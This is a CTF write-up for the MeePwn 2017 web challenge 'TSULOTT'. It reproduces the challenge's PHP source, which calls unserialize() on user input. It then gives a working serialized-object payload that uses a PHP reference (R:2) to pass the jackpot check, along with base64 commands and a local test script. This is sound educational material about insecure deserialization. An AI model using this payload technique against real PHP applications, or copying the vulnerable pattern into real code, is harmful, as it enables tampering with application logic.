MeePwn CTF 1st 2017 - Write-ups

Information#

Version#

By Version Comment
nandayo & noraj 1.0 Creation

CTF#

  • Name : MeePwn CTF 1st 2017
  • Website : ctf.meepwn.team
  • Type : Online
  • Format : Jeopardy
  • CTF Time : link

TSULOTT - Web#

Who Wants to Be a Millionaire? Join My LOTT and Win JACKPOTTTT!!!

Remote: 128.199.190.23:8001

In Firefox view the source of the web page: view-source:http://128.199.190.23:8001/ and look at the comment at the end:

[...]
</center>
<!-- GET is_debug=1 -->
</body>

So instead of requesting http://128.199.190.23:8001/ with GET now try http://128.199.190.23:8001/?is_debug=1.

So now we can see the full PHP code:

<body>
<style>
input[type=text] {
    width: 40%;
    padding: 12px 20px;
    margin: 8px 0;
    box-sizing: border-box;
    border: 2px solid red;
    background-color: #ebfff8;
    border-radius: 4px;
}

button[type=submit] {
    width: 10%;
    background-color: #F94848;
    color: white;
    padding: 14px 20px;
    margin: 8px 0;
    border: none;
    border-radius: 4px;
    cursor: pointer;
}

button[type=submit]:hover {
    background-color: #45a049;
}

body {
    background-image: url("money.jpg");
}
</style>

<?php
class Object
{
  var $jackpot;
  var $enter;
}
?>


<?php

include('secret.php');

if(isset($_GET['input']))  
{
  $obj = unserialize(base64_decode($_GET['input']));
  if($obj)
  {
    $obj->jackpot = rand(10,99).' '.rand(10,99).' '.rand(10,99).' '.rand(10,99).' '.rand(10,99).' '.rand(10,99);
    if($obj->enter === $obj->jackpot)
    {
      echo "<center><strong><font color='white'>CONGRATULATION! You Won JACKPOT PriZe !!! </font></strong></center>". "<br><center><strong><font color='white' size='20'>".$obj->jackpot."</font></strong></center>";
      echo "<br><center><strong><font color='green' size='25'>".$flag."</font></strong></center><br>";
      echo "<center><img src='http://www.relatably.com/m/img/cross-memes/5378589.jpg' /></center>";

    }
    else
    {
      echo "<br><br><center><strong><font color='white'>Wrong! True Six Numbers Are: </font></strong></center>". "<br><center><strong><font color='white' size='25'>".$obj->jackpot."</font></strong></center><br>";
    }
  }
  else
  {
    echo "<center><strong><font color='white'>- Something wrong, do not hack us please! -</font></strong></center>";
  }
}
else
{
  echo "";
}
?>
<center>
<br><h2><font color='yellow' size=8>-- TSU</font><font color='red' size=8>LOTT --</font></h2>
<p><p><font color='white'>Input your code to win jackpot!</font><p>
<form>
          <input type="text" name="input" /><p><p>
          <button type="submit" name="btn-submit" value="go">send</button>
</form>
</center>
<?php
if (isset($_GET['gen_code']) && !empty($_GET['gen_code']))
{
  $temp = new Object;
  $temp->enter=$_GET['gen_code'];
  $code=base64_encode(serialize($temp));
  echo '<center><font color=\'white\'>Here is your code, please use it to Lott: <strong>'.$code.'</strong></font></center>';
}
?>
<center>
<font color='white'>-----------------------------------------------------------------------------------------------------------------------------</font>
<h3><font color='white'>Take code</font></h3><p>
<p><font color='white'>Pick your six numbers (Ex: 15 02 94 11 88 76)</font><p>
<form>
      <input type="text" name="gen_code" maxlength="17" /><p><p>
      <button type="submit" name="btn-submit" value="go">send</button>
</form>
</center>
<?php
if(isset($_GET['is_debug']) && $_GET['is_debug']==='1')
{
   show_source(__FILE__);
}
?>
<!-- GET is_debug=1 -->
</body>

So looking at the code it seems that the first step is to send a number like 67 86 93 92 41 76, the server serialize it and base64 encode it and then send it back to us, finally we submit this base64 string and the server decode the base64 , unserialize it and compare the number with the jackpot number.

If we decode the base64 string, the serialized object looks like that:

$ printf %s "Tzo2OiJPYmplY3QiOjI6e3M6NzoiamFja3BvdCI7TjtzOjU6ImVudGVyIjtzOjE3OiI2NyA4NiA5MyA5MiA0MSA3NiI7fQ==" | base64 -d
O:6:"Object":2:{s:7:"jackpot";N;s:5:"enter";s:17:"67 86 93 92 41 76";}

Unserialized the object looks like that:

__PHP_Incomplete_Class::__set_state(array(
   '__PHP_Incomplete_Class_Name' => 'Object',
   'jackpot' => NULL,
   'enter' => '67 86 93 92 41 76',
))

Reading through the code the object is described as:

class Object  
{  
  var $jackpot;
  var $enter;  
}

But the server sets that object's jackpot variable to a string with 6 random numbers.

Unfortunately the comparison is done by using === identity check instead of == equality check so we can't use PHP magic tricks to do type juggling.

We can't either set the jackpot value with an object like:

O:6:"Object":2:{s:7:"jackpot";s:17:"67 86 93 92 41 76";s:5:"enter";s:17:"67 86 93 92 41 76";}

because the random jackpot value is set after so it override the given value.

So what we need is to set the enter value as a symlink of jackpot value.

Reading PHP Serialization Structure we can see there is an unknow and not well documented feature: Reference. So intead of using a key:value like s:17 meaning we store a string with length of 17 char we can use R:x that mean we want a reference of index x.

So let's built a serialized object with enter value as a reference of jackpot:

O:6:"Object":2:{s:7:"jackpot";N;s:5:"enter";R:2;}

When the jackpot variable is then set to the string with the random numbers it'll also effectively set out enter variable to the same string.

Finally we just need to encode the object:

$ printf %s 'O:6:"Object":2:{s:7:"jackpot";N;s:5:"enter";R:2;}' | base64
Tzo2OiJPYmplY3QiOjI6e3M6NzoiamFja3BvdCI7TjtzOjU6ImVudGVyIjtSOjI7fQ==

The flag was MeePwnCTF{__OMG!!!__Y0u_Are_Milli0naire_N0ww!!___}.

Notes and test code nandayo ran locally to test this.

<?php

class Object  
{  
  var $jackpot;
  var $enter;  
}

$obj = unserialize('O:6:"Object":2:{s:7:"jackpot";N;s:5:"enter";R:2;}');
$obj->jackpot = rand(10,99).' '.rand(10,99).' '.rand(10,99).' '.rand(10,99).' '.rand(10,99).' '.rand(10,99);  

if ($obj->enter === $obj->jackpot) echo "Go get the flag!"; else echo "Nope.";

?>
Share